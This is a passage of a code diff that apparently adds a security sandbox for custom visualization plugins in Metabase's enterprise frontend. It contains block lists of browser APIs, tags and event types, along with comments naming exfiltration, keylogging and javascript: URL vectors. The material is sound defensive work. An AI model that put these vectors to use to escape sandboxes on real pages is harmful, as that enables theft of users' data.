+ getter(StorageEvent.prototype, "storageArea"),
+ "StorageEvent.get storageArea",
+);
+
+// Window navigation
+block(window.open, "window.open");
+block(window.close, "window.close");
+block(method(Window.prototype, "open"), "window.open");
+block(method(Window.prototype, "close"), "window.close");
+
+// UI dialogs — block modal/blocking dialogs initiated by the plugin so it
+// can't freeze the host UI or phish via the browser chrome.
+block(window.alert, "window.alert");
+block(window.confirm, "window.confirm");
+block(window.prompt, "window.prompt");
+block(window.print, "window.print");
+block(method(Window.prototype, "alert"), "window.alert");
+block(method(Window.prototype, "confirm"), "window.confirm");
+block(method(Window.prototype, "prompt"), "window.prompt");
+block(method(Window.prototype, "print"), "window.print");
+block(window.Notification, "window.Notification");
+
+// UI hijack
+block(
+ method(HTMLDialogElement.prototype, "showModal"),
+ "HTMLDialogElement.showModal",
+);
+block(
+ method(Element.prototype, "requestFullscreen"),
+ "Element.requestFullscreen",
+);
+block(window.PaymentRequest, "PaymentRequest");
+
+// Navigator getters — credential / device leaks
+const NAVIGATOR_BLOCKED_GETTERS = [
+ "clipboard",
+ "geolocation",
+ "mediaDevices",
+ "serviceWorker",
+ "credentials",
+ "permissions",
+ "usb",
+ "bluetooth",
+ "share",
+ "hid",
+ "serial",
+ "xr",
+ "wakeLock",
+ "locks",
+ "storage",
+ "presentation",
+];
+for (const key of NAVIGATOR_BLOCKED_GETTERS) {
+ block(getter(Navigator.prototype, key), `Navigator.get ${key}`);
+}
+block(method(Navigator.prototype, "share"), "Navigator.share");
+
+// History
+block(method(History.prototype, "pushState"), "History.pushState");
+block(method(History.prototype, "replaceState"), "History.replaceState");
+block(method(History.prototype, "go"), "History.go");
+block(method(History.prototype, "back"), "History.back");
+block(method(History.prototype, "forward"), "History.forward");
+block(getter(History.prototype, "state"), "History.get state");
+
+// Performance / resource timing — entries expose URLs and timings of every
+// resource the host has fetched (including auth-gated API calls)
+block(method(Performance.prototype, "getEntries"), "Performance.getEntries");
+block(
+ method(Performance.prototype, "getEntriesByType"),
+ "Performance.getEntriesByType",
+);
+block(
+ method(Performance.prototype, "getEntriesByName"),
+ "Performance.getEntriesByName",
+);
+block(window.PerformanceObserver, "PerformanceObserver");
+
+// Coordinate-based caret APIs return a raw host Text/Element Node at the
+// given (x, y) position, which bypasses the Element-level DOM decoy in
+// distortions-dom-read.ts (those decoys gate on Element entry points;
+// caret-from-point hands the plugin a Node directly). The plugin could
+// systematically probe host coordinates to read text content. No legit
+// viz needs caret-from-point queries.
+block(
+ method(Document.prototype, "caretRangeFromPoint"),
+ "Document.caretRangeFromPoint",
+);
+block(
+ method(Document.prototype, "caretPositionFromPoint"),
+ "Document.caretPositionFromPoint",
+);
+
+// HTML parsing — these construct DOM from string input without going through
+// the innerHTML/outerHTML/insertAdjacentHTML setters that DOMPurify
+// sanitizes, so they'd otherwise be a clean bypass of that mitigation.
+block(
+ method(Range.prototype, "createContextualFragment"),
+ "Range.createContextualFragment",
+);
+block(
+ method(DOMParser.prototype, "parseFromString"),
+ "DOMParser.parseFromString",
+);
+block(method(Element.prototype, "setHTMLUnsafe"), "Element.setHTMLUnsafe");
+block(
+ method(ShadowRoot.prototype, "setHTMLUnsafe"),
+ "ShadowRoot.setHTMLUnsafe",
+);
+block(method(Document, "parseHTMLUnsafe"), "Document.parseHTMLUnsafe");
+
+block(window.XSLTProcessor, "XSLTProcessor");
+if (window.XSLTProcessor) {
+ block(
+ method(XSLTProcessor.prototype, "importStylesheet"),
+ "XSLTProcessor.importStylesheet",
+ );
+ block(
+ method(XSLTProcessor.prototype, "transformToFragment"),
+ "XSLTProcessor.transformToFragment",
+ );
+ block(
+ method(XSLTProcessor.prototype, "transformToDocument"),
+ "XSLTProcessor.transformToDocument",
+ );
+}
+
+// Programmatic activation — `.click()` on a synthesized <a> can navigate the
+// host or trigger a download. Anchor href/target setters skip the
+// `setAttribute("href", "javascript:...")` distortion, so block at the
+// property setters too.
+block(method(HTMLElement.prototype, "click"), "HTMLElement.click");
+block(
+ setter(HTMLAnchorElement.prototype, "href"),
+ "HTMLAnchorElement.set href",
+);
+block(
+ setter(HTMLAnchorElement.prototype, "target"),
+ "HTMLAnchorElement.set target",
+);
+
+/**
+ * Intentionally left out:
+ *
+ * Location — `window.location` itself is `[LegacyUnforgeable]`,
+ * the Location attributes (`href`, `pathname`) are
+ * also `[LegacyUnforgeable]` so they live on every Location instance rather
+ * than on `Location.prototype`, AND `near-membrane-dom` runs the plugin in a
+ * sandbox iframe with its own `Location` instance — so neither
+ * `Location.prototype` distortions nor host instance descriptors match the
+ * references the plugin sees. We rely on the iframe sandbox to keep Location
+ * operations contained: the plugin can read/navigate its own iframe's
+ * Location, but the host page stays put. The
+ * `plugin location operations do not navigate the host` e2e test verifies
+ * that boundary.
+ *
+ * `OffscreenCanvas`. The main "escape hatch" is `transferControlToOffscreen()`
+ * + sending it to a Worker so rendering happens off-thread but Worker/SharedWorker
+ * are blocked above, so `OffscreenCanvas` is effectively just an off-DOM canvas you
+ * can render into on the main thread, roughly comparable to `document.createElement("canvas")`.
+ */
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-dom-mutate.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-dom-mutate.ts
new file mode 100644
index 00000000000..9ce7922aacb
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-dom-mutate.ts
@@ -0,0 +1,287 @@
+import DOMPurify from "dompurify";
+
+import type { CustomVizPluginId } from "metabase-types/api";
+
+export const CREATE_ELEMENT = Document.prototype.createElement;
+export const CREATE_ELEMENT_NS = Document.prototype.createElementNS;
+export const INSERT_ADJACENT_HTML = Element.prototype.insertAdjacentHTML;
+export const SET_ATTRIBUTE = Element.prototype.setAttribute;
+export const SET_ATTRIBUTE_NS = Element.prototype.setAttributeNS;
+export const SET_ATTRIBUTE_NODE = Element.prototype.setAttributeNode;
+export const SET_ATTRIBUTE_NODE_NS = Element.prototype.setAttributeNodeNS;
+export const SET_NAMED_ITEM = NamedNodeMap.prototype.setNamedItem;
+export const SET_NAMED_ITEM_NS = NamedNodeMap.prototype.setNamedItemNS;
+
+export const SET_ATTR_VALUE_DESCRIPTOR = Object.getOwnPropertyDescriptor(
+ Attr.prototype,
+ "value",
+)?.set;
+
+type SanitizedSetterInfo = {
+ name: string;
+ originalSet: (this: Element | ShadowRoot, value: string) => void;
+};
+
+export const SANITIZED_SETTERS = new Map<object, SanitizedSetterInfo>();
+
+for (const key of ["innerHTML", "outerHTML"] as const) {
+ const descriptor = Object.getOwnPropertyDescriptor(Element.prototype, key);
+ if (descriptor?.set) {
+ SANITIZED_SETTERS.set(descriptor.set, {
+ name: key,
+ originalSet: descriptor.set,
+ });
+ }
+}
+
+const shadowInnerHTMLDescriptor = Object.getOwnPropertyDescriptor(
+ ShadowRoot.prototype,
+ "innerHTML",
+);
+if (shadowInnerHTMLDescriptor?.set) {
+ SANITIZED_SETTERS.set(shadowInnerHTMLDescriptor.set, {
+ name: "ShadowRoot.innerHTML",
+ originalSet: shadowInnerHTMLDescriptor.set,
+ });
+}
+
+const PURIFY_CONFIG = {
+ // `<area>` is a hidden anchor (href/target/download), and `<map>` only
+ // exists to host `<area>` — both same threat class as `<a>`.
+ FORBID_TAGS: ["form", "a", "style", "frame", "map", "area"],
+ FORBID_ATTR: ["target", "formaction", "action"],
+ ALLOWED_URI_REGEXP:
+ /^(?:#|\/|https?:|data:image\/(?:png|jpeg|gif|svg\+xml|webp);)/i,
+};
+
+// DOMPurify exposes the list of nodes/attributes it stripped from the most
+// recent sanitize call as `DOMPurify.removed`. Reading it immediately after
+// sanitize lets us log only when something dangerous was actually removed,
+// not on harmless normalization (case, whitespace, missing close tags). The
+// distortion runs in the host realm, so console output goes to the host.
+function logSanitizationIfStripped(
+ pluginId: CustomVizPluginId,
+ source: string,
+) {
+ if (DOMPurify.removed.length > 0) {
+ console.error(
+ `[plugin ${pluginId}] DOMPurify stripped content from ${source}:`,
+ DOMPurify.removed,
+ );
+ }
+}
+
+export function sanitizedSetterDistortion(
+ pluginId: CustomVizPluginId,
+ name: string,
+ originalSet: (this: Element | ShadowRoot, value: string) => void,
+) {
+ return function (this: Element | ShadowRoot, value: string) {
+ const sanitized = DOMPurify.sanitize(value, PURIFY_CONFIG);
+ logSanitizationIfStripped(pluginId, name);
+ originalSet.call(this, sanitized);
+ };
+}
+
+// Tags that must never be created — they can load or execute arbitrary
+// code, or are tags we don't want plugins rendering at all.
+const BLOCKED_TAGS = new Set([
+ "script",
+ "iframe",
+ "object",
+ "embed",
+ "link",
+ "meta",
+ "base",
+ "frame",
+ "form",
+ "a",
+ // `<area>` is a hidden anchor (href/target/download navigation) and
+ // `<map>` only exists as its container — same threat class as `<a>`.
+ "map",
+ "area",
+ // CSS-based exfiltration (`@font-face { src: url(...) }`,
+ // `background-image: url(...)`) until CSP font-src/img-src is tightened
+ // (GDGT-2373). DOMPurify already strips `<style>` from sanitized HTML, but
+ // the createElement path skips DOMPurify entirely.
+ "style",
+ // Media elements load URLs via `src`/`srcset`
+ "video",
+ "audio",
+ "source",
+ "track",
+ // `<input type="image">` fires a GET to `src` on render. `<input type=image src="…">` is a vector for exfiltration.
+ "input",
+ // SVG external-resource / mutation-XSS vectors
+ "use",
+ "image",
+ "feimage",
+ "foreignobject",
+]);
+
+export function createElementDistortion(pluginId: CustomVizPluginId) {
+ return function createElement(
+ this: Document,
+ tag: string,
+ options?: ElementCreationOptions,
+ ) {
+ if (BLOCKED_TAGS.has(tag.toLowerCase())) {
+ throw new Error(`[plugin ${pluginId}] blocked createElement: ${tag}`);
+ }
+ return CREATE_ELEMENT.call(this, tag, options);
+ };
+}
+
+// Same blocklist applied to namespaced creates (SVG/MathML). React reaches
+// for createElementNS to build SVG trees — common for visualization plugins —
+// but the dangerous-tag filter (script, iframe, etc.) still applies.
+export function createElementNSDistortion(pluginId: CustomVizPluginId) {
+ return function createElementNS(
+ this: Document,
+ namespaceURI: string | null,
+ qualifiedName: string,
+ options?: ElementCreationOptions,
+ ) {
+ const localName = qualifiedName.includes(":")
+ ? qualifiedName.slice(qualifiedName.indexOf(":") + 1)
+ : qualifiedName;
+ if (BLOCKED_TAGS.has(localName.toLowerCase())) {
+ throw new Error(
+ `[plugin ${pluginId}] blocked createElementNS: ${qualifiedName}`,
+ );
+ }
+ return CREATE_ELEMENT_NS.call(
+ this,
+ namespaceURI,
+ qualifiedName,
+ options as ElementCreationOptions,
+ );
+ };
+}
+
+// Inline `on*` handler attributes execute as JavaScript when the element is
+// wired up — equivalent to `eval` on a string. Block them at the setAttribute
+// boundary; legitimate event listeners use addEventListener instead.
+function isInlineEventHandlerName(name: unknown): boolean {
+ return typeof name === "string" && /^on/i.test(name);
+}
+
+// URL-valued attributes — setting `javascript:<code>` here makes the browser
+// run <code> in the host realm (outside the membrane) when the element is
+// followed/submitted/loaded.
+const URL_VALUED_ATTRS = new Set([
+ "href",
+ "src",
+ "xlink:href",
+ "action",
+ "formaction",
+ "poster",
+ "cite",
+ "background",
+ "manifest",
+]);
+
+function isUrlValuedAttr(name: unknown): boolean {
+ return typeof name === "string" && URL_VALUED_ATTRS.has(name.toLowerCase());
+}
+
+// Browsers tolerate leading whitespace before the protocol (e.g.
+// " javascript:..." still navigates), so allow any leading whitespace
+// before testing the prefix.
+function isJavascriptUrl(value: unknown): boolean {
+ return typeof value === "string" && /^\s*javascript:/i.test(value);
+}
+
+function assertSafeAttrAssignment(
+ pluginId: CustomVizPluginId,
+ apiName: string,
+ name: unknown,
+ value: unknown,
+): void {
+ if (isInlineEventHandlerName(name)) {
+ throw new Error(
+ `[plugin ${pluginId}] blocked ${apiName} for inline event handler: ${String(name)}`,
+ );
+ }
+ if (isUrlValuedAttr(name) && isJavascriptUrl(value)) {
+ throw new Error(
+ `[plugin ${pluginId}] blocked ${apiName} with javascript: URL: ${String(name)}`,
+ );
+ }
+}
+
+export function setAttributeDistortion(pluginId: CustomVizPluginId) {
+ return function setAttribute(this: Element, name: string, value: string) {
+ assertSafeAttrAssignment(pluginId, "setAttribute", name, value);
+ return SET_ATTRIBUTE.call(this, name, value);
+ };
+}
+
+export function setAttributeNSDistortion(pluginId: CustomVizPluginId) {
+ return function setAttributeNS(
+ this: Element,
+ namespace: string | null,
+ qualifiedName: string,
+ value: string,
+ ) {
+ assertSafeAttrAssignment(pluginId, "setAttributeNS", qualifiedName, value);
+ return SET_ATTRIBUTE_NS.call(this, namespace, qualifiedName, value);
+ };
+}
+
+export function setAttributeNodeDistortion(pluginId: CustomVizPluginId) {
+ return function setAttributeNode(this: Element, attr: Attr) {
+ assertSafeAttrAssignment(
+ pluginId,
+ "setAttributeNode",
+ attr.name,
+ attr.value,
+ );
+ return SET_ATTRIBUTE_NODE.call(this, attr);
+ };
+}
+
+export function setAttributeNodeNSDistortion(pluginId: CustomVizPluginId) {
+ return function setAttributeNodeNS(this: Element, attr: Attr) {
+ assertSafeAttrAssignment(
+ pluginId,
+ "setAttributeNodeNS",
+ attr.name,
+ attr.value,
+ );
+ return SET_ATTRIBUTE_NODE_NS.call(this, attr);
+ };
+}
+
+export function setNamedItemDistortion(pluginId: CustomVizPluginId) {
+ return function setNamedItem(this: NamedNodeMap, attr: Attr) {
+ assertSafeAttrAssignment(pluginId, "setNamedItem", attr.name, attr.value);
+ return SET_NAMED_ITEM.call(this, attr);
+ };
+}
+
+export function setNamedItemNSDistortion(pluginId: CustomVizPluginId) {
+ return function setNamedItemNS(this: NamedNodeMap, attr: Attr) {
+ assertSafeAttrAssignment(pluginId, "setNamedItemNS", attr.name, attr.value);
+ return SET_NAMED_ITEM_NS.call(this, attr);
+ };
+}
+
+export function attrValueSetterDistortion(pluginId: CustomVizPluginId) {
+ return function (this: Attr, val: string) {
+ assertSafeAttrAssignment(pluginId, "Attr.set value", this.name, val);
+ SET_ATTR_VALUE_DESCRIPTOR?.call(this, val);
+ };
+}
+
+export function insertAdjacentHTMLDistortion(pluginId: CustomVizPluginId) {
+ return function insertAdjacentHTML(
+ this: Element,
+ position: InsertPosition,
+ html: string,
+ ) {
+ const sanitized = DOMPurify.sanitize(html, PURIFY_CONFIG);
+ logSanitizationIfStripped(pluginId, "insertAdjacentHTML");
+ INSERT_ADJACENT_HTML.call(this, position, sanitized);
+ };
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-dom-read.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-dom-read.ts
new file mode 100644
index 00000000000..6652dd3cc43
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-dom-read.ts
@@ -0,0 +1,136 @@
+import type { CustomVizPluginId } from "metabase-types/api";
+
+// DOM scoping: every Node crossing the membrane is filtered. Nodes inside
+// the plugin's mount subtree (marked with data-plugin-sandbox=<id>) pass
+// through real; nodes outside are replaced with a detached decoy of the
+// same kind so the plugin can't read or mutate host UI.
+//
+// Why this filters on Node, not just Element:
+//
+// `Document` is itself a Node — not an Element — and is also the obvious
+// root for `createTreeWalker(document, …)`, `createNodeIterator(document, …)`,
+// `MutationObserver.observe(document, …)`, and `Range.setStart(document, 0)`.
+// An Element-only filter would leave those APIs walking the entire host
+// DOM and surfacing real host Text/Comment nodes.
+//
+// Filtering on Node also catches:
+// - `getSelection().anchorNode` / `focusNode` if the user has selected
+// host text.
+// - `Range.startContainer` / `endContainer` returning Text nodes.
+
+const PLUGIN_SANDBOX_ATTR = "data-plugin-sandbox";
+export const ACTIVE_ELEMENT_GETTER = Object.getOwnPropertyDescriptor(
+ Document.prototype,
+ "activeElement",
+)?.get;
+
+export function getSafeSandboxDomNode(
+ node: Node,
+ pluginId: CustomVizPluginId,
+): Node {
+ try {
+ if (!document.contains(node)) {
+ return node;
+ }
+
+ const selector = `[${PLUGIN_SANDBOX_ATTR}="${pluginId}"]`;
+ const ownerElement = getOwnerElement(node);
+
+ if (ownerElement?.closest(selector) !== null) {
+ return node;
+ }
+
+ return makeDecoyNode(pluginId, node);
+ } catch {
+ return node;
+ }
+}
+
+function getOwnerElement(node: Node): Element | null {
+ if (node.nodeType === Node.ELEMENT_NODE) {
+ return node as Element;
+ }
+
+ // text, comment, document fragment
+ if ("parentElement" in node) {
+ return node.parentElement;
+ }
+
+ return null;
+}
+
+// document.activeElement crosses the membrane and would otherwise be replaced
+// with a decoy when focus is on host UI — noisy and confusing for libraries
+// (notably React) that probe activeElement during rendering. Return null when
+// the focused element is outside the plugin's subtree, so the plugin sees
+// "nothing focused inside my React tree" rather than a fake element.
+export function activeElementDistortion(pluginId: CustomVizPluginId) {
+ return function activeElement(this: Document): Element | null {
+ const el = ACTIVE_ELEMENT_GETTER!.call(this) as Element | null;
+ if (!el) {
+ return null;
+ }
+ const inSandbox = el.closest(`[${PLUGIN_SANDBOX_ATTR}="${pluginId}"]`);
+ return inSandbox ? el : null;
+ };
+}
+
+export function isDomNode(obj: unknown): obj is Node {
+ if (typeof obj === "object" && obj instanceof Node) {
+ try {
+ return obj.nodeName !== undefined;
+ } catch (e) {
+ return false;
+ }
+ }
+ return false;
+}
+
+function describeNode(node: Node): string {
+ if (node.nodeType === Node.ELEMENT_NODE) {
+ const el = node as Element;
+ const tag = el.nodeName.toLowerCase();
+ if (el.id) {
+ return `<${tag} id="${el.id}">`;
+ }
+ const testId = el.getAttribute("data-testid");
+ if (testId) {
+ return `<${tag} data-testid="${testId}">`;
+ }
+ return `<${tag}>`;
+ }
+ // For non-Elements, `nodeName` is the canonical descriptor (e.g.
+ // `#text`, `#comment`, `#document`, `#document-fragment`).
+ return `<${node.nodeName.toLowerCase()}>`;
+}
+
+function createDecoyForNode(node: Node): Node {
+ switch (node.nodeType) {
+ case Node.ELEMENT_NODE: {
+ const decoy = document.createElement(node.nodeName.toLowerCase());
+ decoy.setAttribute("data-plugin-sandbox-decoy", "true");
+ decoy.setAttribute("id", "sandbox-decoy");
+ return decoy;
+ }
+ case Node.TEXT_NODE:
+ case Node.CDATA_SECTION_NODE:
+ return document.createTextNode("");
+ case Node.COMMENT_NODE:
+ return document.createComment("");
+ case Node.DOCUMENT_FRAGMENT_NODE:
+ return document.createDocumentFragment();
+ default:
+ return node;
+ }
+}
+
+function makeDecoyNode(pluginId: CustomVizPluginId, node: Node): Node {
+ const decoy = createDecoyForNode(node);
+ if (decoy === node) {
+ return node;
+ }
+ console.error(
+ `[plugin ${pluginId}] swapped out-of-scope ${describeNode(node)} with decoy`,
+ );
+ return decoy;
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-event.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-event.ts
new file mode 100644
index 00000000000..b91f48b2b57
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-event.ts
@@ -0,0 +1,54 @@
+import type { CustomVizPluginId } from "metabase-types/api";
+
+export const ADD_EVENT_LISTENER = EventTarget.prototype.addEventListener;
+
+// Event types that, when listened for on `document` or `window`, give the
+// plugin a global keylogger / clipboard sniffer. There's no legitimate
+// reason for a viz plugin to listen for typed text or clipboard activity
+// outside its own subtree — listening on plugin-owned elements still
+// works, and that's where the plugin's own UI events live.
+const GLOBAL_BLOCKED_EVENT_TYPES = new Set([
+ "keydown",
+ "keyup",
+ "keypress",
+ "beforeinput",
+ "input",
+ "paste",
+ "copy",
+ "cut",
+ "beforepaste",
+ "beforecopy",
+ "beforecut",
+ "compositionstart",
+ "compositionupdate",
+ "compositionend",
+ "storage",
+ // `selectionchange` is intentionally NOT blocked: legitimate viz code
+ // (e.g. calendar heatmap) listens for it. The residual risk — pairing
+ // it with `window.getSelection()` to track host text selection — is
+ // gated on the user actively selecting text and is the same narrow
+ // residual we accepted in `distortions-dom-read.ts`.
+]);
+
+function isGlobalEventTarget(target: unknown): boolean {
+ return target instanceof Document || target instanceof Window;
+}
+
+export function addEventListenerDistortion(pluginId: CustomVizPluginId) {
+ return function addEventListener(
+ this: EventTarget,
+ type: string,
+ listener: EventListenerOrEventListenerObject | null,
+ options?: boolean | AddEventListenerOptions,
+ ): void {
+ if (
+ isGlobalEventTarget(this) &&
+ GLOBAL_BLOCKED_EVENT_TYPES.has(String(type).toLowerCase())
+ ) {
+ throw new Error(
+ `[plugin ${pluginId}] blocked addEventListener for global event type: ${type}`,
+ );
+ }
+ return ADD_EVENT_LISTENER.call(this, type, listener, options);
+ };
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions.ts
new file mode 100644
index 00000000000..b7da6116c5d
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions.ts
@@ -0,0 +1,115 @@
+import type { CustomVizPluginId } from "metabase-types/api";
+
+import { BLOCKED_NATIVE_REFS } from "./distortions-blocked-apis";
+import {
+ CREATE_ELEMENT,
+ CREATE_ELEMENT_NS,
+ INSERT_ADJACENT_HTML,
+ SANITIZED_SETTERS,
+ SET_ATTRIBUTE,
+ SET_ATTRIBUTE_NODE,
+ SET_ATTRIBUTE_NODE_NS,
+ SET_ATTRIBUTE_NS,
+ SET_ATTR_VALUE_DESCRIPTOR,
+ SET_NAMED_ITEM,
+ SET_NAMED_ITEM_NS,
+ attrValueSetterDistortion,
+ createElementDistortion,
+ createElementNSDistortion,
+ insertAdjacentHTMLDistortion,
+ sanitizedSetterDistortion,
+ setAttributeDistortion,
+ setAttributeNSDistortion,
+ setAttributeNodeDistortion,
+ setAttributeNodeNSDistortion,
+ setNamedItemDistortion,
+ setNamedItemNSDistortion,
+} from "./distortions-dom-mutate";
+import {
+ ACTIVE_ELEMENT_GETTER,
+ activeElementDistortion,
+ getSafeSandboxDomNode,
+ isDomNode,
+} from "./distortions-dom-read";
+import {
+ ADD_EVENT_LISTENER,
+ addEventListenerDistortion,
+} from "./distortions-event";
+
+export function makeDistortionCallback(pluginId: CustomVizPluginId) {
+ return function distortionCallback(value: object): object {
+ if (isDomNode(value)) {
+ return getSafeSandboxDomNode(value, pluginId);
+ }
+
+ if (typeof value !== "function") {
+ return value;
+ }
+
+ if (SANITIZED_SETTERS.has(value)) {
+ const info = SANITIZED_SETTERS.get(value);
+ if (info) {
+ return sanitizedSetterDistortion(pluginId, info.name, info.originalSet);
+ }
+ }
+
+ if (value === ACTIVE_ELEMENT_GETTER) {
+ return activeElementDistortion(pluginId);
+ }
+
+ if (value === ADD_EVENT_LISTENER) {
+ return addEventListenerDistortion(pluginId);
+ }
+
+ if (value === CREATE_ELEMENT) {
+ return createElementDistortion(pluginId);
+ }
+
+ if (value === CREATE_ELEMENT_NS) {
+ return createElementNSDistortion(pluginId);
+ }
+
+ if (value === INSERT_ADJACENT_HTML) {
+ return insertAdjacentHTMLDistortion(pluginId);
+ }
+
+ if (value === SET_ATTRIBUTE) {
+ return setAttributeDistortion(pluginId);
+ }
+
+ if (value === SET_ATTRIBUTE_NS) {
+ return setAttributeNSDistortion(pluginId);
+ }
+
+ if (value === SET_ATTRIBUTE_NODE) {
+ return setAttributeNodeDistortion(pluginId);
+ }
+
+ if (value === SET_ATTRIBUTE_NODE_NS) {
+ return setAttributeNodeNSDistortion(pluginId);
+ }
+
+ if (value === SET_NAMED_ITEM) {
+ return setNamedItemDistortion(pluginId);
+ }
+
+ if (value === SET_NAMED_ITEM_NS) {
+ return setNamedItemNSDistortion(pluginId);
+ }
+
+ if (value === SET_ATTR_VALUE_DESCRIPTOR) {
+ return attrValueSetterDistortion(pluginId);
+ }
+
+ const blockedLabel = BLOCKED_NATIVE_REFS.get(value);
+ if (blockedLabel) {
+ return function blocked() {
+ throw new Error(
+ `[plugin ${pluginId}] blocked API call: ${blockedLabel}`,
+ );
+ };
+ }
+
+ return value;
+ };
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/index.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/index.ts
new file mode 100644
index 00000000000..50e9d884718
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/index.ts
@@ -0,0 +1,46 @@
+import createVirtualEnvironment from "@locker/near-membrane-dom";
+
+import type { CustomVizPluginId } from "metabase-types/api";
+
+import { makeDistortionCallback } from "./distortions";
+
+// Needed for React style declarations to be applied correctly.
+function isLiveTarget(target: object): boolean {
+ return target instanceof CSSStyleDeclaration;
+}
+
+export function createPluginSandbox(pluginId: CustomVizPluginId) {
+ let capturedFactory: unknown;
+
+ const env = createVirtualEnvironment(window, {
+ distortionCallback: makeDistortionCallback(pluginId),
+ liveTargetCallback: isLiveTarget,
+ endowments: Object.getOwnPropertyDescriptors({
+ get __customVizPlugin__() {
+ return capturedFactory;
+ },
+ set __customVizPlugin__(value: unknown) {
+ capturedFactory = value;
+ },
+ __METABASE_VIZ_API__: window.__METABASE_VIZ_API__,
+ }),
+ });
+
+ return {
+ evaluate(code: string): unknown {
+ try {
+ env.evaluate(code);
+ } catch (e) {
+ // unwrap membrane-proxied Error
+ let message: string;
+ try {
+ message = String((e as { message?: unknown })?.message ?? e);
+ } catch {
+ message = "Unknown error inside plugin sandbox";
+ }
+ throw new Error(message);
+ }
+ return capturedFactory;
+ },
+ };
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/data-studio/library/LibraryPage/hooks.ts b/enterprise/frontend/src/metabase-enterprise/data-studio/library/LibraryPage/hooks.ts
index a0a1690255e..827babe49a2 100644
--- a/enterprise/frontend/src/metabase-enterprise/data-studio/library/LibraryPage/hooks.ts
+++ b/enterprise/frontend/src/metabase-enterprise/data-studio/library/LibraryPage/hooks.ts
@@ -4,12 +4,12 @@ import _ from "underscore";
import { skipToken, useListCollectionItemsQuery } from "metabase/api";
import { useDebouncedValue } from "metabase/common/hooks/use-debounced-value";
-import { getIcon } from "metabase/common/utils/icon";
import type {
LibrarySectionType,
TreeItem,
} from "metabase/data-studio/common/types";
import { createEmptyStateItem } from "metabase/data-studio/common/utils";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { useMetadataToasts } from "metabase/metadata/hooks";
import { useSelector } from "metabase/redux";
import { getIsRemoteSyncReadOnly } from "metabase-enterprise/remote_sync/selectors";
@@ -24,6 +24,7 @@ export const useBuildTreeForCollection = (
tree: TreeItem[];
error?: unknown;
} => {
+ const getIcon = useGetIcon();
const {
data: items,
isLoading,
@@ -82,6 +83,7 @@ export const useBuildTreeForCollection = (
sectionType,
metricCollectionId,
isRemoteSyncReadOnly,
+ getIcon,
]);
};
diff --git a/enterprise/frontend/src/metabase-enterprise/plugins.ts b/enterprise/frontend/src/metabase-enterprise/plugins.ts
index 1741148b3d3..55f77830446 100644
--- a/enterprise/frontend/src/metabase-enterprise/plugins.ts
+++ b/enterprise/frontend/src/metabase-enterprise/plugins.ts
@@ -19,6 +19,7 @@ import { initializePlugin as initializeCleanUp } from "./clean_up";
import { initializePlugin as initializeCollections } from "./collections";
import { initializePlugin as initializeContentTranslation } from "./content_translation";
import { initializePlugin as initializeContentVerification } from "./content_verification";
+import { initializePlugin as initializeCustomViz } from "./custom_viz";
import { initializePlugin as initializeLibrary } from "./data-studio/library";
import { initializePlugin as initializeDatabaseReplication } from "./database_replication";
import { initializePlugin as initializeDatabaseRouting } from "./database_routing";
@@ -65,6 +66,7 @@ export function initializePlugins() {
initializeCollections();
initializeContentTranslation();
initializeContentVerification();
+ initializeCustomViz();
initializeDatabaseRouting();
initializeRemoteSync();
initializeReplacement();
diff --git a/enterprise/frontend/src/metabase-enterprise/remote_sync/components/ChangesLists/EntityLink.tsx b/enterprise/frontend/src/metabase-enterprise/remote_sync/components/ChangesLists/EntityLink.tsx
index fee67cafc28..dad5b247c8b 100644
--- a/enterprise/frontend/src/metabase-enterprise/remote_sync/components/ChangesLists/EntityLink.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/remote_sync/components/ChangesLists/EntityLink.tsx
@@ -1,10 +1,7 @@
import { useMemo } from "react";
-import {
- type IconData,
- type IconModel,
- getIcon,
-} from "metabase/common/utils/icon";
+import type { IconData, IconModel } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { Anchor, Group, Icon } from "metabase/ui";
import { modelToUrl } from "metabase/urls";
import type { RemoteSyncEntity } from "metabase-types/api";
@@ -18,6 +15,7 @@ interface EntityLinkProps {
}
export const EntityLink = ({ entity }: EntityLinkProps) => {
+ const getIcon = useGetIcon();
const entityIcon = useMemo((): IconData => {
if (entity.model === "field") {
return { name: "field" };
@@ -28,7 +26,7 @@ export const EntityLink = ({ entity }: EntityLinkProps) => {
id: entity.id,
display: entity.display,
});
- }, [entity]);
+ }, [entity, getIcon]);
const url = useMemo(() => modelToUrl(entity), [entity]);
if (url == null) {
diff --git a/enterprise/frontend/src/metabase-enterprise/remote_sync/components/CollectionSyncRow/CollectionSyncRow.tsx b/enterprise/frontend/src/metabase-enterprise/remote_sync/components/CollectionSyncRow/CollectionSyncRow.tsx
index 7f4fde0c8a8..d1fbdb88bcc 100644
--- a/enterprise/frontend/src/metabase-enterprise/remote_sync/components/CollectionSyncRow/CollectionSyncRow.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/remote_sync/components/CollectionSyncRow/CollectionSyncRow.tsx
@@ -18,8 +18,9 @@ export const CollectionSyncRow = ({
onToggle,
isReadOnly,
}: CollectionSyncRowProps) => {
+ const getIcon = PLUGIN_COLLECTIONS.useGetIcon();
const canWrite = collection.can_write ?? false;
- const icon = PLUGIN_COLLECTIONS.getIcon({
+ const icon = getIcon({
model: "collection",
type: collection.type,
is_remote_synced: isChecked,
